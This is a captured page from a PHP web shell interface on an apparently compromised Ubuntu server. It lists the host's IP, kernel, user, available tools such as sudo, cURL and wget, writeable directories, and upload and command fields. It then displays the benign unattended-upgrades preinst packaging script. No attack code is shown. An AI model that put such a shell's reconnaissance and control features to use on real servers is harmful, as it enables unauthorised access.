403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.58
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/unattended-upgrades.preinst
#!/bin/sh

set -e

# dh_installdeb will replace this with shell code automatically
# generated by other debhelper scripts.

# Automatically added by dh_installinit/13.13ubuntu1
if [ "$1" = "install" ] && [ -n "$2" ] && [ -e "/etc/init.d/unattended-upgrades" ] ; then
	chmod +x "/etc/init.d/unattended-upgrades" >/dev/null || true
fi
# End automatically added section


CONFIG="/etc/apt/apt.conf.d/50unattended-upgrades"

# if the transition to ucf was not handled properly, do it now
case "$1" in
    install|upgrade)
        if [ -n "$2" ] &&  dpkg --compare-versions "$2" lt "1.8~" \
               && dpkg-query -W  -f='${Conffiles}\n' unattended-upgrades | grep -q "$CONFIG .* obsolete"; then
	    cp "$CONFIG" "$CONFIG.ucftmp"
	    dpkg-maintscript-helper rm_conffile "$CONFIG" -- "$@"
        fi
	;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit